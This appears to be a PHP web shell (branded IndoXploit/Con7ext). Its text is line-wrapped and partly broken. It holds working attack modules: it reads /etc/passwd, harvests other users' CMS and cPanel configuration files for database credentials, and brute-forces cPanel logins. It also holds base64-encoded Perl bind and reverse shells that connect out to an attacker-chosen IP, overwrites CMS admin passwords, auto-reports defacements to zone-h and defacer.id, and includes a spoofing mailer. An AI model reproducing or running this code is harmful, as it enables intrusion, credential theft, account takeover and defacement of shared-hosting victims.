strlen($matches) == 0 || $matches
== "bin" || $matches == "etc/X11/fs"
|| $matches == "var/lib/nfs" ||
$matches == "var/arpwatch" ||
$matches == "var/gopher" ||
$matches == "sbin" || $matches ==
"var/adm" || $matches ==
"usr/games" || $matches ==
"var/ftp" || $matches == "etc/ntp" ||
$matches == "var/www" || $matches
== "var/named")
continue;
echo "<tr><td align=center><font
size=2>" . $dcount . "</td>
class=txt>" . $matches . "</td>";
echo "<td align=center><font
class=txt><a
href=c7e_sym/c7e/home/" .
$matches . "/public_html
target='_blank'>Symlink</a></td></t
r>";
$dcount++;}
fclose($file);
echo
"</table></div></center>";unlink("te
st.txt");
} else
echo "<center><font
size=3>Cannot create
Symlink</font></center>";
}
}
}
elseif($_GET['con7ext'] == 'config') {
$etc = fopen("/etc/passwd", "r")
or die("<pre><font color=red>Can't
read /etc/passwd</font></pre>");
$idx = mkdir("c7e_conf", 0777);
$isi_htc = "Options all\nRequire
None\nSatisfy Any";
$htc =
fopen("c7e_conf/.htaccess","w");
fwrite($htc, $isi_htc);
while($passwd = fgets($etc)) {
if($passwd == "" || !$etc) {
echo "<font
color=red>Can't read
/etc/passwd</font>";
} else {
preg_match_all('/(.*?):x:/',
$passwd, $user_config);
foreach($user_config[1] as
$c7euser) {
$user_config_dir =
"/home/$c7euser/public_html/";
if(is_readable($user_config_dir))
{
$grab_config = array(
"/home/$c7euser/.my.cnf" =>
"cpanel",
"/home/$c7euser/.accesshash"
=> "WHM-accesshash",
"/home/$c7euser/public_html/po-
content/config.php" => "Popoji",
"/home/$c7euser/public_html/vdo_c
onfig.php" => "Voodoo",
"/home/$c7euser/public_html/bw-
configs/config.ini" => "BosWeb",
"/home/$c7euser/public_html/config
/koneksi.php" => "Lokomedia",
"/home/$c7euser/public_html/lokom
edia/config/koneksi.php" =>
"Lokomedia",
"/home/$c7euser/public_html/client
area/configuration.php" =>
"WHMCS",
"/home/$c7euser/public_html/whm/
configuration.php" => "WHMCS",
"/home/$c7euser/public_html/whmc
s/configuration.php" => "WHMCS",
"/home/$c7euser/public_html/forum
/config.php" => "phpBB",
"/home/$c7euser/public_html/sites/
default/settings.php" => "Drupal",
/settings.inc.php" => "PrestaShop",
"/home/$c7euser/public_html/app/et
c/local.xml" => "Magento",
"/home/$c7euser/public_html/jooml
a/configuration.php" => "Joomla",
uration.php" => "Joomla",
"/home/$c7euser/public_html/wp/w
p-config.php" => "WordPress",
"/home/$c7euser/public_html/wordp
ress/wp-config.php" =>
"WordPress",
"/home/$c7euser/public_html/wp-
config.php" => "WordPress",
"/home/$c7euser/public_html/admin
/config.php" => "OpenCart",
"/home/$c7euser/public_html/slconf
ig.php" => "Sitelok",
"/home/$c7euser/public_html/applic
ation/config/database.php" =>
"Ellislab");
foreach($grab_config
as $config => $nama_config) {
$ambil_config =
file_get_contents($config);
if($ambil_config ==
'') {
} else {
$file_config =
fopen("c7e_conf/$c7euser-
$nama_config.txt","w");
fputs($file_config,
$ambil_config);
}
}
}
}
}
}
echo "<br><center><a href='?
path=$path/c7e_conf'><font>Done<
/font></a></center>";
'adminer') {
$full =
str_replace($_SERVER['DOCUMEN
T_ROOT'], "", $path);
function adminer($url, $isi) {
$fp = fopen($isi, "w");
$ch = curl_init();
curl_setopt($ch,
CURLOPT_URL, $url);
curl_setopt($ch,
CURLOPT_BINARYTRANSFER,
true);
curl_setopt($ch,
CURLOPT_RETURNTRANSFER,
true);
curl_setopt($ch,
CURLOPT_SSL_VERIFYPEER,
false);
curl_setopt($ch,
CURLOPT_FILE, $fp);
return curl_exec($ch);
curl_close($ch);
fclose($fp);
ob_flush();
flush();
}
if(file_exists('adminer.php')) {
echo "<center><font><a
href='$full/adminer.php'
target='_blank'>-> Adminer <-
</a></font></center>";
} else {
if(adminer("https://www.adminer.or
g/static/download/4.2.4/adminer-
4.2.4.php","adminer.php")) {
echo "<center><font><a
href='$full/adminer.php'
target='_blank'>-> Adminer <-
</a></font></center>";
} else {
echo "<center><font
color=red>gagal buat file
adminer</font></center>";
}
}
}elseif($_GET['con7ext'] == 'crkcp')
{
echo '<center>';
if($_POST['crack']) {
$usercp = explode("\r\n",
$_POST['user_cp']);
$passcp = explode("\r\n",
$_POST['pass_cp']);
$i = 0;
foreach($usercp as $ucp) {
foreach($passcp as $pcp) {
if(@mysql_connect('localhost',
$ucp, $pcp)) {
if($_SESSION[$ucp]
&& $_SESSION[$pcp]) {
} else {
$_SESSION[$ucp] =
"1";
$_SESSION[$pcp] =
"1";
if($ucp == '' || $pcp
== '') {
} else {
$i++;
if(function_exists('posix_getpwuid')
){
$domain_cp =
file_get_contents("/etc/named.conf"
);
if($domain_cp
== '') {
$dom =
"<font color=red>gabisa ambil
nama domain nya</font>";
} else {
preg_match_all("#/var/named/(.*?).d
b#", $domain_cp, $domains_cp);
foreach($domains_cp[1] as $dj) {
$user_cp_url =
liases/$dj"));
$user_cp_url =
$user_cp_url['name'];
if($user_cp_url == $ucp) {
$dom
= "<a href='http://$dj/'
target='_blank'><font
color=green>$dj</font></a>";
break;
}
}
}
} else {
$dom = "<font
color=red>function is Disable by
system</font>";
}
echo "username
(<font color=green>$ucp</font>)
password (<font
color=green>$pcp</font>) domain
($dom)<br>";
}
}
}
}
}
if($i == 0) {
} else {
echo "<br>sukses nyolong
".$i." Cpanel by <font
color=green>IndoXploit.</font>";
}
} else {
echo "<center>
<form method='post'>
USER: <br>
<textarea style='width: 450px;
height: 150px;' name='user_cp'>";
$_usercp =
fopen("/etc/passwd","r");
while($getu = fgets($_usercp))
{
if($getu == '' || !$_usercp) {
echo "<font
} else {
preg_match_all("/(.*?):x:/", $getu,
$u);
foreach($u[1] as
$user_cp) {
if(is_dir("/home/$user_cp/public_ht
ml")) {
echo
"$user_cp\n";
}
}
}
}
echo "</textarea><br>
PASS: <br>
height: 200px;' name='pass_cp'>";
function cp_pass($path) {
$pass = "";
$patha = scandir($path);
foreach($patha as $pathb) {
if(!is_file("$path/$pathb"))
continue;
$ambil =
file_get_contents("$path/$path");
if(preg_match("/WordPress/",
$ambil)) {
$pass .=
ambilkata($ambil,"DB_PASSWORD',
'","'")."\n";
}
elseif(preg_match("/JConfig|
joomla/", $ambil)) {
$pass .=
ambilkata($ambil,"password =
'","'")."\n";
}
elseif(preg_match("/Magento|
Mage_Core/", $ambil)) {
$pass .=
ambilkata($ambil,"<password><!
[CDATA[","]]></password>")."\n";
}
elseif(preg_match("/panggil fungsi
validasi xss dan injection/", $ambil))
{
$pass .=
ambilkata($ambil,'password =
"','"')."\n";
}
elseif(preg_match("/HTTP_SERVER|
HTTP_CATALOG|DIR_CONFIG|
DIR_SYSTEM/", $ambil)) {
$pass .=
ambilkata($ambil,"'DB_PASSWORD'
, '","'")."\n";
}
elseif(preg_match("/^[client]$/",
$ambil)) {
preg_match("/password=(.*?)/",
$ambil, $pass1);
if(preg_match('/"/',
$pass1[1])) {
$pass1[1] =
str_replace('"', "", $pass1[1]);
$pass .=
$pass1[1]."\n";
} else {
$pass .=
$pass1[1]."\n";
}
}
elseif(preg_match("/cc_encryption_
hash/", $ambil)) {
$pass .=
ambilkata($ambil,"db_password =
'","'")."\n";
}
}
echo $pass;
}
$cp_pass = cp_pass($path);
echo $cp_pass;
echo "</textarea><br>
name='crack' style='width: 450px;'
value='Crack'>
</form>
<span>NB: CPanel Crack ini
sudah auto get password ( pake db
password ) maka akan work jika
dijalankan di dalam folder
<u>config</u> ( ex:
/home/user/public_html/nama_folde
r_config )</span><br></center>";
}
}
elseif($_GET['con7ext'] == 'zoneh') {
if($_POST['submit']) {
echo '<center>';
$domain = explode("\r\n",
$_POST['url']);
$nick = $_POST['nick'];
echo "Defacer Onhold: <a
href='http://www.zone-
h.org/archive/notifier=$nick/publish
ed=0'
target='_blank'>http://www.zone-
h.org/archive/notifier=$nick/publish
ed=0</a><br>";
echo "Defacer Archive: <a
href='http://www.zone-
h.org/archive/notifier=$nick'
target='_blank'>http://www.zone-
h.org/archive/notifier=$nick</a><br
><br>";
function zoneh($url,$nick) {
$ch =
curl_init("http://www.zone-
h.com/notify/single");
curl_setopt($ch,
CURLOPT_RETURNTRANSFER,
true);
curl_setopt($ch,
CURLOPT_POST, true);
curl_setopt($ch,
CURLOPT_POSTFIELDS,
"defacer=$nick&domain1=$url&hac
kmode=1&reason=1&submit=Send"
);
return curl_exec($ch);
curl_close($ch);
}
foreach($domain as $url) {
$zoneh = zoneh($url,$nick);
if(preg_match("/color=\"red\">OK<\/
font><\/li>/i", $zoneh)) {
echo "$url ->
<font>OK</font><br>";
} else {
echo "$url -> <font
color=red>ERROR</font><br>";
}
}
} else {
echo "<center><form
method='post'>
<u>Defacer</u>: <br>
<input type='text' name='nick'
size='50' value='Con7ext'><br>
<u>Domains</u>: <br>
height: 150px;'
name='url'></textarea><br>
name='submit' value='Submit'
</form>";
}
echo "</center>";
}
elseif($_GET['con7ext'] == 'defid') {
echo "<center><form
method='post'>
<u>Defacer</u>: <br>
<input type='text'
name='hekel' size='50'
value='Con7ext'><br>
<u>Team</u>: <br>
<input type='text' name='tim'
size='50' value='XaiSyndicate'><br>
<u>Domains</u>: <br>
height: 150px;'
name='sites'></textarea><br>
name='go' value='Submit'
</form>";
$site = explode("\r\n",
$_POST['sites']);
$go = $_POST['go'];
$hekel = $_POST['hekel'];
$tim = $_POST['tim'];
if($go) {
foreach($site as $sites) {
$zh = $sites;
$form_url =
"https://www.defacer.id/notify";
$data_to_post = array();
$data_to_post['attacker'] =
"$hekel";
$data_to_post['team'] = "$tim";
$data_to_post['poc'] = 'SQL
Injection';
$data_to_post['url'] = "$zh";
$curl = curl_init();
curl_setopt($curl,CURLOPT_URL,
$form_url);
curl_setopt($curl,CURLOPT_POST,
sizeof($data_to_post));
curl_setopt($curl,
CURLOPT_USERAGENT,
"Mozilla/4.0 (compatible; MSIE 6.0;
Windows NT 5.1; SV1; .NET CLR
1.1.4322; .NET CLR 2.0.50727)");
//msnbot/1.0
(+http://search.msn.com/msnbot.ht
m)
curl_setopt($curl,CURLOPT_POSTF
IELDS, $data_to_post);
curl_setopt($curl,
curl_setopt($curl,
CURLOPT_REFERER,
'https://defacer.id/notify.html');
$result = curl_exec($curl);
echo $result;
curl_close($curl);
echo "<br>";
}
}
'jumping') {
$i = 0;
echo "<div class='margin: 5px
auto;'>";
if(preg_match("/hsphere/", $dir))
{
$urls = explode("\r\n",
$_POST['url']);
if(isset($_POST['jump'])) {
echo "<pre>";
foreach($urls as $url) {
$url =
str_replace(array("http://","www."),
"", strtolower($url));
$etc = "/etc/passwd";
$f = fopen($etc,"r");
while($gets = fgets($f)) {
$pecah = explode(":",
$gets);
$user = $pecah[0];
$dir_user =
"/hsphere/local/home/$user";
if(is_dir($dir_user) ===
true) {
$url_user =
$dir_user."/".$url;
if(is_readable($url_user)) {
$i++;
$jrw = "[<font
color=green>R</font>] <a href='?
path=$url_user'><font
color=gold>$url_user</font></a>";
if(is_writable($url_user)) {
$jrw = "[<font
color=green>RW</font>] <a href='?
}
echo $jrw."<br>";
}
}
}
}
if($i == 0) {
} else {
echo "<br>Total ada ".$i."
Kamar di ".$ip;
}
echo "</pre>";
} else {
echo '<center>
<form method="post">
List Domains: <br>
<textarea name="url"
style="width: 500px; height:
250px;">';
$fp =
fopen("/hsphere/local/config/httpd/s
ites/sites.txt","r");
while($getss = fgets($fp)) {
echo $getss;
}
echo '</textarea><br>
<input type="submit"
value="Jumping" name="jump"
25px;">
</form></center>';
}
} elseif(preg_match("/vhosts/",
$dir)) {
$_POST['url']);
echo "<pre>";
$web_vh =
"/var/www/vhosts/$url/httpdocs";
if(is_dir($web_vh) ===
true) {
if(is_readable($web_vh)) {
$i++;
$jrw = "[<font
path=$web_vh'><font
color=gold>$web_vh</font></a>";
if(is_writable($web_vh)) {
$jrw = "[<font
path=$web_vh'><font
}
echo $jrw."<br>";
}
}
}
if($i == 0) {
} else {
Kamar di ".$ip;
}
echo "</pre>";
} else {
echo '<center>
List Domains: <br>
250px;">';
bing("ip:$ip");
25px;">
</form></center>';
}
} else {
echo "<pre>";
$etc = fopen("/etc/passwd",
"r") or die("<font color=red>Can't
read /etc/passwd</font>");
if($passwd == '' || !$etc) {
echo "<font
} else {
$passwd, $user_jumping);
foreach($user_jumping[1] as
$myuser_jump) {
$user_jumping_dir =
"/home/$myuser_jump/public_html"
;
if(is_readable($user_jumping_dir)) {
$i++;
$jrw = "[<font
path=$user_jumping_dir'><font
color=gold>$user_jumping_dir</fon
t></a>";
if(is_writable($user_jumping_dir)) {
$jrw = "[<font
t></a>";
}
echo $jrw;
){
$domain_jump =
);
if($domain_jump
== '') {
echo " =>
( <font color=red>gabisa ambil
nama domain nya</font> )<br>";
} else {
b#", $domain_jump,
$domains_jump);
foreach($domains_jump[1] as
$dj) {
$user_jumping_url =
liases/$dj"));
$user_jumping_url =
$user_jumping_url['name'];
if($user_jumping_url ==
$myuser_jump) {
echo " =>
( <u>$dj</u> )<br>";
break;
}
}
}
} else {
echo "<br>";
}
}
}
}
}
if($i == 0) {
} else {
Kamar di ".$ip;
}
echo "</pre>";
}
echo "</div>";
'network') {
echo "<form method='post'>
<u>Bind Port:</u> <br>
PORT: <input type='text'
placeholder='port' name='port_bind'
value='6969'>
name='sub_bp' value='>>'>
</form>
<u>Back Connect:</u> <br>
Server: <input type='text'
placeholder='ip' name='ip_bc'
value='".
$_SERVER['REMOTE_ADDR']."'>&n
bsp;
PORT: <input type='text'
placeholder='port' name='port_bc'
value='6969'>
name='sub_bc' value='>>'>
</form>";
$bind_port_p="IyEvdXNyL2Jpbi9wZ
XJsDQokU0hFTEw9Ii9iaW4vc2ggL
WkiOw0KaWYgKEBBUkdWIDwgMS
kgeyBleGl0KDEpOyB9DQp1c2UgU2
9ja2V0Ow0Kc29ja2V0KFMsJlBGX0l
ORVQsJlNPQ0tfU1RSRUFNLGdldH
Byb3RvYnluYW1lKCd0Y3AnKSkgfH
wgZGllICJDYW50IGNyZWF0ZSBzb2
NrZXRcbiI7DQpzZXRzb2Nrb3B0KF
MsU09MX1NPQ0tFVCxTT19SRVVT
RUFERFIsMSk7DQpiaW5kKFMsc29j
a2FkZHJfaW4oJEFSR1ZbMF0sSU5
BRERSX0FOWSkpIHx8IGRpZSAiQ2
FudCBvcGVuIHBvcnRcbiI7DQpsaX
N0ZW4oUywzKSB8fCBkaWUgIkNhb
nQgbGlzdGVuIHBvcnRcbiI7DQp3a
GlsZSgxKSB7DQoJYWNjZXB0KEN
PTk4sUyk7DQoJaWYoISgkcGlkPWZ
vcmspKSB7DQoJCWRpZSAiQ2Fub
m90IGZvcmsiIGlmICghZGVmaW5lZ
CAkcGlkKTsNCgkJb3BlbiBTVERJTi
wiPCZDT05OIjsNCgkJb3BlbiBTVER
PVVQsIj4mQ09OTiI7DQoJCW9wZW
4gU1RERVJSLCI+JkNPTk4iOw0KC
QlleGVjICRTSEVMTCB8fCBkaWUgc
HJpbnQgQ09OTiAiQ2FudCBleGVjd
XRlICRTSEVMTFxuIjsNCgkJY2xvc2
UgQ09OTjsNCgkJZXhpdCAwOw0K
CX0NCn0=";
if(isset($_POST['sub_bp'])) {
$f_bp = fopen("/tmp/bp.pl",
"w");
fwrite($f_bp,
base64_decode($bind_port_p));
fclose($f_bp);
$port = $_POST['port_bind'];
$out = exe("perl /tmp/bp.pl
$port 1>/dev/null 2>&1 &");
sleep(1);
echo "<pre>".
$out."\n".exe("ps aux | grep
bp.pl")."</pre>";
unlink("/tmp/bp.pl");
}
$back_connect_p="IyEvdXNyL2Jpb
i9wZXJsDQp1c2UgU29ja2V0Ow0KJ
GlhZGRyPWluZXRfYXRvbigkQVJH
VlswXSkgfHwgZGllKCJFcnJvcjogJ
CFcbiIpOw0KJHBhZGRyPXNvY2thZ
GRyX2luKCRBUkdWWzFdLCAkaW
FkZHIpIHx8IGRpZSgiRXJyb3I6ICQh
XG4iKTsNCiRwcm90bz1nZXRwcm9
0b2J5bmFtZSgndGNwJyk7DQpzb2
NrZXQoU09DS0VULCBQRl9JTkVUL
CBTT0NLX1NUUkVBTSwgJHByb3R
vKSB8fCBkaWUoIkVycm9yOiAkIVx
uIik7DQpjb25uZWN0KFNPQ0tFVCw
gJHBhZGRyKSB8fCBkaWUoIkVycm
9yOiAkIVxuIik7DQpvcGVuKFNUREl
OLCAiPiZTT0NLRVQiKTsNCm9wZ
W4oU1RET1VULCAiPiZTT0NLRVQi
KTsNCm9wZW4oU1RERVJSLCAiPi
ZTT0NLRVQiKTsNCnN5c3RlbSgnL2
Jpbi9zaCAtaScpOw0KY2xvc2UoU1
RESU4pOw0KY2xvc2UoU1RET1VU
KTsNCmNsb3NlKFNUREVSUik7";
if(isset($_POST['sub_bc'])) {
$f_bc = fopen("/tmp/bc.pl",
"w");
fwrite($f_bc,
base64_decode($bind_connect_p));
fclose($f_bc);
$ipbc = $_POST['ip_bc'];
$port = $_POST['port_bc'];
$out = exe("perl /tmp/bc.pl
$ipbc $port 1>/dev/null 2>&1 &");
sleep(1);
echo "<pre>".
$out."\n".exe("ps aux | grep
bc.pl")."</pre>";
unlink("/tmp/bc.pl");
}
'jumping') {
$i = 0;
echo "<div class='margin: 5px
auto;'>";
if(preg_match("/hsphere/", $dir))
{
$_POST['url']);
echo "<pre>";
$url =
str_replace(array("http://","www."),
"", strtolower($url));
$etc = "/etc/passwd";
$f = fopen($etc,"r");
while($gets = fgets($f)) {
$pecah = explode(":",
$gets);
$user = $pecah[0];
$dir_user =
"/hsphere/local/home/$user";
if(is_dir($dir_user) ===
true) {
$url_user =
$dir_user."/".$url;
if(is_readable($url_user)) {
$i++;
$jrw = "[<font
if(is_writable($url_user)) {
$jrw = "[<font
}
echo $jrw."<br>";
}
}
}
}
if($i == 0) {
} else {
Kamar di ".$ip;
}
echo "</pre>";
} else {
echo '<center>
List Domains: <br>
250px;">';
$fp =
fopen("/hsphere/local/config/httpd/s
ites/sites.txt","r");
while($getss = fgets($fp)) {
echo $getss;
}
25px;">
</form></center>';
}
} elseif(preg_match("/vhosts/",
$dir)) {
$_POST['url']);
echo "<pre>";
$web_vh =
"/var/www/vhosts/$url/httpdocs";
if(is_dir($web_vh) ===
true) {
if(is_readable($web_vh)) {
$i++;
$jrw = "[<font
path=$web_vh'><font
if(is_writable($web_vh)) {
$jrw = "[<font
path=$web_vh'><font
}
echo $jrw."<br>";
}
}
}
if($i == 0) {
} else {
Kamar di ".$ip;
}
echo "</pre>";
} else {
echo '<center>
List Domains: <br>
250px;">';
bing("ip:$ip");
25px;">
</form></center>';
}
} else {
echo "<pre>";
$etc = fopen("/etc/passwd",
"r") or die("<font color=red>Can't
read /etc/passwd</font>");
if($passwd == '' || !$etc) {
echo "<font
} else {
$passwd, $user_jumping);
foreach($user_jumping[1] as
$myuser_jump) {
$user_jumping_dir =
"/home/$myuser_jump/public_html"
;
if(is_readable($user_jumping_dir)) {
$i++;
$jrw = "[<font
t></a>";
if(is_writable($user_jumping_dir)) {
$jrw = "[<font
t></a>";
}
echo $jrw;
){
$domain_jump =
);
if($domain_jump
== '') {
echo " =>
( <font color=red>gabisa ambil
nama domain nya</font> )<br>";
} else {
b#", $domain_jump,
$domains_jump);
foreach($domains_jump[1] as
$dj) {
$user_jumping_url =
liases/$dj"));
$user_jumping_url =
$user_jumping_url['name'];
if($user_jumping_url ==
$myuser_jump) {
echo " =>
( <u>$dj</u> )<br>";
break;
}
}
}
} else {
echo "<br>";
}
}
}
}
}
if($i == 0) {
} else {
Kamar di ".$ip;
}
echo "</pre>";
}
echo "</div>";
}elseif($_GET['con7ext'] == 'mail') {
if($_POST['send']) {
$to = $_POST['to'];
$from = $_POST['from'];
$subject = $_POST['subject'];
$content =
sulap($_POST['content']);
if(@mail($to,$subject,
$content,"FROM:$from")) {
$out = "Mail sent to $to";
} else {
$out = "Failed !!";
}
}
echo "<h1>Mailer</h1>
<textarea name='content'
value='Patch your security !'
placeholder='Patch your
security !'></textarea><br>
Subject :
<input type='text' name='subject'
value='Your Website'><br>
To : <input type='text' name='to'
value='admin@web.com'><br>From
: <input type='text' name='from'
value='con7ext@ini.email'><br><inp
ut type='submit' name='send'
value='Send'><br><br>";
echo $out;
'edituser') {
if($_POST['hajar']) {
if(strlen($_POST['pass_baru'])
< 6 OR strlen($_POST['user_baru'])
< 6) {
echo "username atau
password harus lebih dari 6
karakter";
} else {
$user_baru =
$_POST['user_baru'];
$pass_baru =
md5($_POST['pass_baru']);
$conf =
$_POST['config_dir'];
$scan_conf =
scandir($conf);
foreach($scan_conf as
$file_conf) {
if(!is_file("$conf/$file_conf"))
continue;
$config =
file_get_contents("$conf/$file_conf"
);
if(preg_match("/JConfig|
joomla/",$config)) {
$dbhost =
ambilkata($config,"host = '","'");
$dbuser =
ambilkata($config,"user = '","'");
$dbpass =
ambilkata($config,"password =
'","'");
$dbname =
ambilkata($config,"db = '","'");
$dbprefix =
ambilkata($config,"dbprefix = '","'");
$prefix =
$dbprefix."users";
$conn =
mysql_connect($dbhost,$dbuser,
$dbpass);
$db =
mysql_select_db($dbname);
$q =
mysql_query("SELECT * FROM
$prefix ORDER BY id ASC");
$result =
mysql_fetch_array($q);
$id = $result['id'];
$site =
ambilkata($config,"sitename =
'","'");
$update =
mysql_query("UPDATE $prefix SET
username='$user_baru',password='
$pass_baru' WHERE id='$id'");
echo "Config => ".
$file_conf."<br>";
echo "CMS =>
Joomla<br>";
if($site == '') {
echo "Sitename =>
<font color=red>error, gabisa ambil
nama domain nya</font><br>";
} else {
echo "Sitename =>
$site<br>";
}
if(!$update OR !$conn
OR !$db) {
echo "Status =>
<font
color=red>".mysql_error()."</font><
br><br>";
} else {
echo "Status =>
<font color=green>sukses edit user,
silakan login dengan user & pass
yang baru.</font><br><br>";
}
mysql_close($conn);
}
elseif(preg_match("/WordPress/",
$config)) {
$dbhost =
ambilkata($config,"DB_HOST',
'","'");
$dbuser =
ambilkata($config,"DB_USER',
'","'");
$dbpass =
ambilkata($config,"DB_PASSWORD
', '","'");
$dbname =
ambilkata($config,"DB_NAME',
'","'");
$dbprefix =
ambilkata($config,"table_prefix =
'","'");
$prefix =
$dbprefix."users";
$option =
$dbprefix."options";
$conn =
$dbpass);
$db =
$q =
$prefix ORDER BY id ASC");
$result =
$id = $result[ID];
$q2 =
$option ORDER BY option_id
ASC");
$result2 =
mysql_fetch_array($q2);
$target =
$result2[option_value];
if($target == '') {
$url_target = "Login
=> <font color=red>error, gabisa
ambil nama domain
nyaa</font><br>";
} else {
=> <a href='$target/wp-login.php'
target='_blank'><u>$target/wp-
login.php</u></a><br>";
}
$update =
user_login='$user_baru',user_pass
='$pass_baru' WHERE id='$id'");
echo "Config => ".
$file_conf."<br>";
echo "CMS =>
Wordpress<br>";
echo $url_target;
OR !$db) {
echo "Status =>
<font
br><br>";
} else {
echo "Status =>
}
mysql_close($conn);
}
elseif(preg_match("/Magento|
Mage_Core/",$config)) {
$dbhost =
ambilkata($config,"<host><!
[CDATA[","]]></host>");
$dbuser =
ambilkata($config,"<username><!
[CDATA[","]]></username>");
$dbpass =
ambilkata($config,"<password><!
[CDATA[","]]></password>");
$dbname =
ambilkata($config,"<dbname><!
[CDATA[","]]></dbname>");
$dbprefix =
ambilkata($config,"<table_prefix><!
[CDATA[","]]></table_prefix>");
$prefix =
$dbprefix."admin_user";
$option =
$dbprefix."core_config_data";
$conn =
$dbpass);
$db =
$q =
$prefix ORDER BY user_id ASC");
$result =
$id = $result[user_id];
$q2 =
$option WHERE
path='web/secure/base_url'");
$result2 =
mysql_fetch_array($q2);
$target =
$result2[value];
if($target == '') {
ambil nama domain
nyaa</font><br>";
} else {
=> <a href='$target/admin/'
target='_blank'><u>$target/admin/</
u></a><br>";
}
$update =
$pass_baru' WHERE
user_id='$id'");
echo "Config => ".
$file_conf."<br>";
echo "CMS =>
Magento<br>";
echo $url_target;
OR !$db) {
echo "Status =>
<font
br><br>";
} else {
echo "Status =>
}
mysql_close($conn);
}
elseif(preg_match("/HTTP_SERVER|
HTTP_CATALOG|DIR_CONFIG|
DIR_SYSTEM/",$config)) {
$dbhost =
ambilkata($config,"'DB_HOSTNAM
E', '","'");
$dbuser =
ambilkata($config,"'DB_USERNAM
E', '","'");
$dbpass =
ambilkata($config,"'DB_PASSWOR
D', '","'");
$dbname =
ambilkata($config,"'DB_DATABASE'
, '","'");
$dbprefix =
ambilkata($config,"'DB_PREFIX',
'","'");
$prefix =
$dbprefix."user";
$conn =
$dbpass);
$db =
$q =
$prefix ORDER BY user_id ASC");
$result =
$id = $result[user_id];
$target =
ambilkata($config,"HTTP_SERVER',
'","'");
if($target == '') {
ambil nama domain
nyaa</font><br>";
} else {
=> <a href='$target'
target='_blank'><u>$target</u></a>
<br>";
}
$update =
$pass_baru' WHERE
user_id='$id'");
echo "Config => ".
$file_conf."<br>";
echo "CMS =>
OpenCart<br>";
echo $url_target;
OR !$db) {
echo "Status =>
<font
br><br>";
} else {
echo "Status =>
}
mysql_close($conn);
}
elseif(preg_match("/panggil fungsi
validasi xss dan injection/",
$config)) {
$dbhost =
ambilkata($config,'server = "','"');
$dbuser =
ambilkata($config,'username =
"','"');
$dbpass =
ambilkata($config,'password =
"','"');
$dbname =
ambilkata($config,'database = "','"');
$prefix = "users";
$option = "identitas";
$conn =
$dbpass);
$db =
$q =
$option ORDER BY id_identitas
ASC");
$result =
$target =
$result[alamat_website];
if($target == '') {
$target2 =
$result[url];
ambil nama domain
nyaa</font><br>";
if($target2 == '') {
$url_target2 =
"Login => <font color=red>error,
gabisa ambil nama domain
nyaa</font><br>";
} else {
$cek_login3 =
file_get_contents("$target2/adminw
eb/");
$cek_login4 =
file_get_contents("$target2/lokome
dia/adminweb/");
if(preg_match("/CMS Lokomedia|
Administrator/", $cek_login3)) {
$url_target2 =
"Login => <a
href='$target2/adminweb'
target='_blank'><u>$target2/admin
web</u></a><br>";
}
elseif(preg_match("/CMS
Lokomedia|Lokomedia/",
$cek_login4)) {
$url_target2 =
"Login => <a
href='$target2/lokomedia/adminweb
'
target='_blank'><u>$target2/lokome
dia/adminweb</u></a><br>";
} else {
$url_target2 =
"Login => <a href='$target2'
target='_blank'><u>$target2</u></a
> [ <font color=red>gatau admin
login nya dimana :p</font> ]<br>";
}
}
} else {
$cek_login =
file_get_contents("$target/adminwe
b/");
$cek_login2 =
file_get_contents("$target/lokomedi
a/adminweb/");
if(preg_match("/CMS Lokomedia|
Administrator/", $cek_login)) {
$url_target =
"Login => <a
href='$target/adminweb'
target='_blank'><u>$target/adminw
eb</u></a><br>";
}
elseif(preg_match("/CMS
Lokomedia|Lokomedia/",
$cek_login2)) {
$url_target =
"Login => <a
href='$target/lokomedia/adminweb'
target='_blank'><u>$target/lokomed
ia/adminweb</u></a><br>";
} else {
$url_target =
"Login => <a href='$target'
target='_blank'><u>$target</u></a>
[ <font color=red>gatau admin login
nya dimana :p</font> ]<br>";
}
}
$update =
$pass_baru' WHERE
level='admin'");
echo "Config => ".
$file_conf."<br>";
echo "CMS =>
Lokomedia<br>";
if(preg_match('/error,
gabisa ambil nama domain nya/',
$url_target)) {
echo $url_target2;
} else {
echo $url_target;
}
OR !$db) {
echo "Status =>
<font
br><br>";
} else {
echo "Status =>
}
mysql_close($conn);
}
}
}
} else {
echo "<center>
<h1>Auto Edit User
Config</h1>
DIR Config: <br>
<input type='text' size='50'
name='config_dir'
value='$path'><br><br>
Set User & Pass: <br>
<input type='text'
name='user_baru' value='con7ext'
placeholder='user_baru'><br>
<input type='text'
name='pass_baru' value='con7ext'
placeholder='pass_baru'><br>
name='hajar' value='Edit'
</form>";
}
}elseif(isset($_GET['filesrc'])){
echo "<tr><td>Current File : ";
echo $_GET['filesrc'];
echo '</tr></td></table><br/>';
echo('<textarea cols="80"
rows="20"
readonly>'.htmlspecialchars(file_ge
t_contents($_GET['filesrc'])).'</texta
rea>');
}elseif(isset($_GET['option']) &&
$_POST['opt'] != 'delete'){
echo '</table><br /><center>'.
$_POST['path'].'<br /><br />';
if($_POST['opt'] == 'chmod'){
if(isset($_POST['perm'])){
if(chmod($_POST['path'],
$_POST['perm'])){
echo '<font color="green">Success
!</font><br/>';
}else{
echo '<font color="red">Denied !
</font><br />';
}
}
echo '<form method="POST">
Permission : <input name="perm"
type="text" size="4"
value="'.substr(sprintf('%o',
fileperms($_POST['path'])), -4).'" />
<input type="hidden" name="path"
value="'.$_POST['path'].'">
<input type="hidden" name="opt"
value="chmod">
<input type="submit" value="Go" />
</form>';
}
elseif($_POST['opt'] == 'rename'){
if(isset($_POST['newname'])){
if(rename($_POST['path'],$path.'/'.
$_POST['newname'])){
!</font><br/>';
}else{
</font><br />';
}
$_POST['name'] =
$_POST['newname'];
}
New Name : <input
name="newname" type="text"
size="20" value="'.
$_POST['name'].'" />
value="rename">
<input type="submit" value="Go" />
</form>';
}elseif($_POST['opt'] == 'edit'){
if(isset($_POST['src'])){
$fp = fopen($_POST['path'],'w');
if(fwrite($fp,$_POST['src'])){
!</font><br/>';
}else{
</font><br/>';
}
fclose($fp);
}
<textarea cols=80 rows=20
name="src">'.htmlspecialchars(file
_get_contents($_POST['path'])).'</te
xtarea><br />
value="edit">
value="Save" />
</form>';
}
echo '</center>';
}else{
echo '</table><br/><center>';
if(isset($_GET['option']) &&
$_POST['opt'] == 'delete'){
if($_POST['type'] == 'dir'){
if(rmdir($_POST['path'])){
!</font><br/>';
}else{
</font><br/>';
}
}elseif($_POST['type'] == 'file'){
if(unlink($_POST['path'])){
echo '<font
color="green">Success</font><br/>
';
}else{
echo '<font
color="red">Denied</font><br/>';
}
}
}
echo '</center>';
$scandir = scandir($path);
echo '<div id="content"><table
width="700" border="0"
cellpadding="3" cellspacing="1"
align="center">
<tr class="first">
<td><center>Name</center></td>
